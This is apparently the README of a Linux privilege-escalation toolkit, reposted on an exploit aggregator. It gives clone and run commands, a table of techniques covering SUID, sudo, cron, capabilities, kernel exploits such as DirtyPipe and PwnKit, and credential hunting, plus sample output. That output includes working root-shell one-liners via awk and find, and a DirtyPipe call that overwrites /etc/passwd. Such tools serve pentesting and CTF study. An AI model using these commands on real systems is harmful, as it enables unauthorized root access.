Exploit for linux-privesc

## https://sploitus.com/exploit?id=D0A0DF53-AA3B-5A5C-B03B-5D3F30790643
# 🐧 Linux Privilege Escalation Toolkit

> Automated enumeration + exploit suggestion + 50+ privesc techniques. For pentesters, CTF players, and red teams.


  
  
  
  
  


---

## 💡 What is Linux-Privesc?

A comprehensive toolkit for finding and exploiting Linux privilege escalation vectors:

- 🔍 **Auto-enumeration** — 200+ checks in one command
- 🎯 **Smart matching** — suggests exploits based on kernel, SUID, capabilities
- 📚 **Living documentation** — each technique has explanation + fix
- 🛠️ **Exploit compiler** — auto-compiles kernel exploits for your target

---

## 🚀 Quick Start

```bash
git clone https://github.com/javokhir-sec/linux-privesc.git
cd linux-privesc
chmod +x privesc.sh

# Full enumeration
./privesc.sh full

# Quick check (top 20 most common)
./privesc.sh quick

# Specific category
./privesc.sh suid
./privesc.sh capabilities
./privesc.sh cron
./privesc.sh sudo
```

---

## 📋 Covers

| Category | Checks | Examples |
|----------|--------|----------|
| 🔑 SUID/SGID | 30+ | find, vim, bash, python, pkexec |
| ⚡ Sudo | 20+ | LD_PRELOAD, env_keep, NOPASSWD |
| 🕐 Cron Jobs | 15+ | Writable scripts, PATH hijack |
| 🔧 Capabilities | 10+ | cap_sys_ptrace, cap_dac_read_search |
| 📂 File Permissions | 25+ | Shadow readable, SSH keys, configs |
| 🐧 Kernel Exploits | 40+ | DirtyCow, DirtyPipe, PwnKit, GameOver(lay) |
| 🔗 NFS/Shares | 5+ | no_root_squash, mounted shares |
| 🐳 Docker/LXC | 10+ | Privileged containers, socket exposure |
| 📝 Writable Files | 20+ | /etc/passwd, /etc/sudoers, services |
| 🔐 Credential Hunting | 15+ | History files, config files, logs |

---

## ⚡ Example Output

```
🐧 Linux-Privesc v1.0 — Starting enumeration...
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[+] OS: Ubuntu 20.04.6 LTS | Kernel: 5.4.0-150-generic
[+] User: www-data (uid=33)

🔑 SUID Binaries:
   ⚠️  /usr/bin/find — GTFOBins: privesc via -exec
   ⚠️  /usr/bin/python3.8 — GTFOBins: capability abuse

⚡ Sudo Rights:
   ⚠️  (ALL) NOPASSWD: /usr/bin/awk — GTFOBins: shell escape

🐧 Kernel Exploits:
   💀 CVE-2022-0847 (DirtyPipe) — Kernel 5.4.0 MATCH!
   💀 CVE-2021-4034 (PwnKit) — pkexec found!

🎯 Quick Wins (3 found):
   1. sudo awk 'BEGIN {system("/bin/sh")}'
   2. find . -exec /bin/sh -p \; -quit
   3. ./DirtyPipe-exploit /etc/passwd 1 ootz

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
✅ Enumeration complete. 3 quick wins found!
```

---

## 📜 License

MIT © [Javokhir Tursunboyev](https://github.com/javokhir-sec)